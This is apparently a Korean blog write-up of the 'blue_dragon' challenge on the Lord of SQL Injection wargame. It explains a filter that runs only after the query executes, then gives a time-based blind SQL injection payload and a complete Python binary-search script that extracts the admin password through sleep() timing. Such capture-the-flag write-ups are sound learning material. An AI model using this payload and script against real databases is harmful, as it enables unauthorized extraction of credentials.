본문 바로가기

워게임

los rubiya - 27(blue dragon) 풀이

파란 용

 

시작하겠습니다.

 

오..

 

2번 필터링을 하네요. \ 랑 ' 의 사용을 막았습니다.

 

한 번 id에 ' 이랑 \을 줘보겠습니다.

 

쿼리문은 나오네요

 

이것도 마찬가지네요

 

이 말은 먼저 필터링을 할 때 \ 이랑 ' 은 안 한다는 이야기입니다. 그리고 쿼리문을 실행한 뒤에 ' 이나 \이 들어갔는지

확인을 하고 필터링을 하는 거죠.

 

그럼 저는 Time Based SQL Injection을 이용하겠습니다!

 

쿼리문은 실행이 된다는 이야기잖아요? 그러니깐 만약 참이면 1초 뒤에 나오게 해서 참인지 아닌지 분별하겠습니다.

 

공격 쿼리문은 ' and id='admin' and if(ascii(substr(pw,{},1))>{},sleep(1),0)# 이렇습니다.

pw 한 자리을 꺼내와서 만약 참이면 1초 뒤에 나오고 아니면 0으로 거짓으로 판별하게 했습니다.

 

저는 보기 전에 time 함수로 시간을 저장하고 보낸 후의 시간을 빼서

0.5초 이상 나면 참 안 나면 거짓으로 했습니다.

 

import requests
import urllib.parse
import time #시간값을 알기 위함(Time based 공격용)
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=fanr8lnfn8nkj50q6cu61sh7gk"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("엔터 누르세요! ")

        index_value = "" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1 #1번째 자리부터 찾기 용

    start = 32 #아스키코드 32부터
    end = 127 #127까지 비교
    value = ""
    
    while True :
        mid = int((start+end)/2)

        data = {
            "id": "admin",
            "pw": blind_query.format(s,0)
        } #먼저 0인지 식별

        start_time = time.time() #보낼때 시간을 잰다
        response = requests.get(url, params=data, headers=headers)
        end_time = time.time() #응답왔을 때의 시간을 잰다


        if ((end_time-start_time) < 0.5) : #0보다 큰게 거짓이면 NULL값이므로 종료한다 참이면 시간 뺀 값이 0.5초보단 크다
            break
        else :
            data = {
                "id": "admin",
                "pw": blind_query.format(s,mid)
            }

            start_time = time.time() #보낼때 시간을 잰다
            response = requests.get(url, params=data, headers=headers) 
            end_time = time.time() #응답왔을 때의 시간을 잰다


            if ((end_time-start_time) < 0.5) :
                end = mid #거짓이면 끝 값을 mid로 바꾼다
            else :
                start = mid #참이면 시작 값을 mid로 바꾼다

            if start+1 >= end :
                value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
                s+=1 #다음 글자
                start = 32 #초기화
                end = 127 #초기화
                print(value)

    return value


blind_query = "' OR id='admin' and if(ascii(substr(pw,{},1))>{},sleep(1),0)#"
blind_sqli(blind_query) #blind_query 시작

 

꽤나 오래 걸리겠네요 참이면 1초나 기다리니깐요.

그나마 이진탐색을 이용해서 빠르긴 할 겁니다.

 

굳! 1분 조금 안되게 걸렸네요

 

pw=d948b8a0

 

끝!!

 

이번에 Time based을 처음 해보는데 꽤나 흥미로웠습니다!

감사합니다.

'워게임' 카테고리의 다른 글

los rubiya - 29(phantom) 풀이  (0) 2023.06.24
los rubiya - frankenstein(28번 문제)  (0) 2023.06.08
los rubiya - 26(red_dragon) 풀이  (0) 2023.05.26
los rubiya - 25(green_dragon) 풀이  (0) 2023.05.25
los rubiya - 24(evil_wizard) 풀이  (1) 2023.05.24